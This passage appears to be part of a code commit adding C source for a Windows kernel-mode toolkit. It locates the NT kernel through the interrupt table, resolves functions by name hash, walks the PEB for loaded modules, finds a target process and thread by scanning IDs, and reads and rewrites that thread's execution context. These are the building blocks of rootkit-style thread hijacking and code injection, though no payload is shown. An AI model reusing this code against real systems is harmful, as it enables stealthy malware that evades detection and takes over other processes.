ULONG SpareUlong0;
PVOID ResourceRetValue;
PVOID ReservedForWdf;
} TEB, *PTEB;
#endif
+118
View File
@@ -0,0 +1,118 @@
#include "common.h"
KMFUNC PVOID PcrGetIdtPtr( IN PVOID Ptr )
{
#if defined(_WIN64)
ULONG_PTR ohi;
ULONG_PTR olo;
ULONG_PTR omi;
ULONG_PTR ent;
ohi = (( PKIDTENTRY64 )Ptr)->OffsetHigh;
omi = (( PKIDTENTRY64 )Ptr)->OffsetMiddle;
olo = (( PKIDTENTRY64 )Ptr)->OffsetLow;
ohi = ohi << 32;
omi = omi << 16;
ent = ohi + omi + olo;
return CPTR( ent );
#else
ULONG_PTR ohi;
ULONG_PTR olo;
ULONG_PTR ent;
ohi = (( PKIDTENTRY )Ptr)->ExtendedOffset;
olo = (( PKIDTENTRY )Ptr)->OffsetLow;
ohi = ohi << 16;
ent = ohi + olo;
return CPTR( ent );
#endif
};
KMFUNC PVOID PcrGetNtBase( IN PVOID Ptr )
{
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nts;
ULONG_PTR ref;
ref = UPTR( Ptr );
do {
dos = CPTR( ref );
nts = CPTR( UPTR(dos) + dos->e_lfanew );
if ( dos->e_magic == IMAGE_DOS_SIGNATURE )
break;
ref = UPTR( UPTR(ref) - 0x1000 );
} while ( TRUE );
return CPTR( ref );
};
KMFUNC PVOID PcrNtPointer( VOID )
{
PKPCR pcr;
PVOID ntp;
ULONG_PTR idt;
pcr = CPTR( PcrGetPtr() );
idt = UPTR( PcrGetIdtPtr( pcr->IdtBase ) );
idt = UPTR( UPTR(idt) &~ 0xFFF );
ntp = CPTR( PcrGetNtBase( CPTR(idt) ) );
return ntp;
};
KMFUNC PVOID PcrGetModule( IN ULONG Hsh )
{
PSYSTEM_MODULE_INFORMATION smi;
PSYSTEM_MODULE_ENTRY sme;
NTSTATUS ret;
PCHAR str;
PVOID img;
PVOID ntp;
ULONG len;
ULONG cnt;
ULONG hsh;
KM_API api;
img = NULL;
ntp = PcrNtPointer();
api.ExFreePool = PeGetFuncEat( ntp, H_EXFREEPOOL );
api.ExAllocatePool = PeGetFuncEat( ntp, H_EXALLOCATEPOOL );
api.ZwQuerySystemInformation = PeGetFuncEat( ntp, H_ZWQUERYSYSTEMINFORMATION );
ret = api.ZwQuerySystemInformation( SystemModuleInformation, NULL, 0, &len );
if ( ret != STATUS_SUCCESS ) {
smi = CPTR( api.ExAllocatePool( PagedPool, len ) );
if ( smi ) {
ret = api.ZwQuerySystemInformation( SystemModuleInformation, smi, len, NULL );
if ( ret == STATUS_SUCCESS ) {
sme = smi->Module;
for ( cnt=0;cnt<smi->Count;++cnt ) {
str = CPTR( sme[cnt].FullPathName + sme[cnt].OffsetToFileName );
hsh = HashString( str, 0 );
if ( hsh == Hsh ) {
img = sme[cnt].ImageBase;
};
};
};
api.ExFreePool( smi );
};
};
return img;
};
+9
View File
@@ -0,0 +1,9 @@
#ifndef PCR_H
#define PCR_H
PVOID PcrNtPointer( VOID );
PVOID PcrGetModule( IN ULONG Hsh );
#endif
+37
View File
@@ -0,0 +1,37 @@
#include "common.h"
SHARED PVOID PeGetFuncEat( IN PVOID Ptr, IN ULONG Hsh )
{
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nth;
PIMAGE_DATA_DIRECTORY dir;
PIMAGE_EXPORT_DIRECTORY exp;
PDWORD aof;
PDWORD aon;
PUSHORT ano;
PCHAR str;
DWORD cnt;
ULONG hxp;
dos = CPTR( Ptr );
nth = CPTR( UPTR(dos) + dos->e_lfanew );
dir = CPTR( &nth->OptionalHeader.DataDirectory[0] );
if ( dir->VirtualAddress ) {
exp = CPTR( UPTR(dos) + dir->VirtualAddress );
aof = CPTR( UPTR(dos) + exp->AddressOfFunctions );
aon = CPTR( UPTR(dos) + exp->AddressOfNames );
ano = CPTR( UPTR(dos) + exp->AddressOfNameOrdinals );
for( cnt=0;cnt<exp->NumberOfNames;++cnt ) {
str = CPTR( UPTR(dos) + aon[cnt] );
hxp = HashString(str, 0);
if ( hxp == Hsh ) {
return CPTR( UPTR(dos) + aof[ano[cnt]] );
};
};
};
return NULL;
};
+7
View File
@@ -0,0 +1,7 @@
#ifndef PE_H
#define PE_H
SHARED PVOID PeGetFuncEat( IN PVOID Ptr, IN ULONG Hsh );
#endif // END PE_H
+27
View File
@@ -0,0 +1,27 @@
#include "common.h"
UMFUNC PVOID PebGetModule( IN ULONG Hsh )
{
PPEB peb;
PPEB_LDR_DATA ldr;
PLDR_DATA_TABLE_ENTRY dte;
PLIST_ENTRY ent;
PLIST_ENTRY hdr;
ULONG mod;
peb = NtCurrentTeb()->ProcessEnvironmentBlock;
ldr = peb->Ldr;
hdr = & ldr->InLoadOrderModuleList;
ent = hdr->Flink;
for ( ; hdr != ent ; ent = ent->Flink ) {
dte = CPTR( ent );
mod = HashString( dte->BaseDllName.Buffer, dte->BaseDllName.Length );
if ( mod == Hsh ) {
return CPTR( dte->DllBase );
};
};
return NULL;
};
+7
View File
@@ -0,0 +1,7 @@
#ifndef PEB_H
#define PEB_H
UMFUNC PVOID PebGetModule( IN ULONG Hsh );
#endif // END PEB_H
+161
View File
@@ -0,0 +1,161 @@
#include "common.h"
/*!
*
* @brief Finds a process matching the specified
* name by enumerating PID's. Probably a
* better way of doing it, but I'll do this
* for now.
*
* Note: It finds the _first_ process with
* this name, and does not sort by unique
* PID's.
*
*
* @param Filled in KM_API structure.
* @param DJB2 hash of the process name.
*
!*/
KMFUNC PVOID ProcEnumProcess( IN KM_API * Api, IN ULONG Hsh )
{
PVOID prc;
PCHAR str;
PVOID img;
ULONG hsh;
ULONG_PTR pid;
img = NULL;
for( pid=0;pid<ULONG_MAX;++pid ) {
if ( ! Api->PsLookupProcessByProcessId( CPTR(pid), &prc ) ) {
str = Api->PsGetProcessImageFileName( prc );
hsh = HashString( str, 0 );
if ( hsh == Hsh ) {
img = prc;
break;
};
Api->ObDereferenceObject( prc );
};
prc = NULL;
};
return img;
};
/*!
*
* @brief Finds a thread stored within the context
* of the target process.
*
* @param Filled in KM_API structure.
* @param Pointer to a valid EPROCESS.
*
!*/
KMFUNC PVOID ProcEnumThreads( IN KM_API * Api, IN PVOID Prc )
{
PVOID thd;
PVOID epc;
PVOID ctx;
ULONG_PTR tid;
ctx = NULL;
for( tid=0;tid<ULONG_MAX;++tid ) {
if ( ! Api->PsLookupThreadByThreadId( CPTR(tid), &thd ) ) {
epc = Api->IoThreadToProcess( CPTR(thd) );
if ( Prc == epc ) {
ctx = thd;
break;
};
Api->ObDereferenceObject( thd );
};
};
return ctx;
};
/*!
*
* @brief Allocates memory in the current process.
*
* @param Filled in KM_API structure.
* @param Length of the memory to allocate.
* @param Memory Permissions to allocate.
*
!*/
KMFUNC PVOID ProcAllocateMem( IN KM_API * Api, IN ULONG Len, IN ULONG Prm )
{
NTSTATUS ret;
LPVOID mem;
SIZE_T len;
len = Len;
mem = NULL;
ret = Api->ZwAllocateVirtualMemory( ZwCurrentProcess(),
&mem,
0,
&len,
MEM_COMMIT | MEM_RESERVE,
Prm );
if ( !ret )
{
return mem;
};
return NULL;
};
/*!
*
* @brief Acquires the target thread's execution state
* at current time.
*
* @param Filled in KM_API structure.
* @param Pointer to the target thread.
*
!*/
KMFUNC PVOID ProcGetThreadCtx( IN KM_API * Api, IN PVOID Thd )
{
PCONTEXT ctx;
SIZE_T len;
len = 0;
if ( (ctx = ProcAllocateMem( Api, sizeof(CONTEXT), PAGE_READWRITE )) != NULL )
{
ctx->ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;
if ( ! Api->PsGetContextThread( Thd, ctx, UserMode ) )
{
return ctx;
};
Api->ZwFreeVirtualMemory( ZwCurrentProcess(),
CPTR( &ctx ),
CPTR( &len ),
MEM_RELEASE );
};
return NULL;
};
/*!
*
* @brief Sets the target thread's execution state
* to the specified context.
*
* @param Filled in KM_API structure.
* @param Pointer to the taget thread.
* @param Pointer to the context structure.
*
!*/
KMFUNC BOOL ProcSetThreadCtx( IN KM_API * Api, IN PVOID Thd, IN PCONTEXT Ctx )
{
if ( ! Api->PsSetContextThread( Thd, Ctx, UserMode ) )
{
return TRUE;
};
return FALSE;
};
+69
View File
@@ -0,0 +1,69 @@
#ifndef PROC_H
#define PROC_H
/*!
*
* @brief Finds a process matching the specified
* name by enumerating PID's. Probably a
* better way of doing it, but I'll do this
* for now.
*
* Note: It finds the _first_ process with
* this name, and does not sort by unique
* PID's.
*
*
* @param Filled in KM_API structure.
* @param DJB2 hash of the process name.
*
!*/
PVOID ProcEnumProcess( IN KM_API * Api, IN ULONG Hsh );
/*!
*
* @brief Finds a thread stored within the context
* of the target process.
*
* @param Filled in KM_API structure.
* @param Pointer to a valid EPROCESS.
*
!*/
PVOID ProcEnumThreads( IN KM_API * Api, IN PVOID Prc );
/*!
*
* @brief Allocates Read - Write - Exec Memory In The
* target process.
*
* @param Filled in KM_API structure.
* @param Length of the memory to allocate.
* @param Memory Permissions to allocate.
*
!*/
PVOID ProcAllocateMem( IN KM_API * Api, IN ULONG Len, IN ULONG Prm );
/*!
*
* @brief Acquires the target thread's execution state
* at current time.
*
* @param Filled in KM_API structure.
* @param Pointer to the target thread.
*
!*/
PVOID ProcGetThreadCtx( IN KM_API * Api, IN PVOID Thd );
/*!
*
* @brief Sets the target thread's execution state
* to the specified context.
*
* @param Filled in KM_API structure.
* @param Pointer to the taget thread.
* @param Pointer to the context structure.
*
!*/
BOOL ProcSetThreadCtx( IN KM_API * Api, IN PVOID Thd, IN PCONTEXT Ctx );
#endif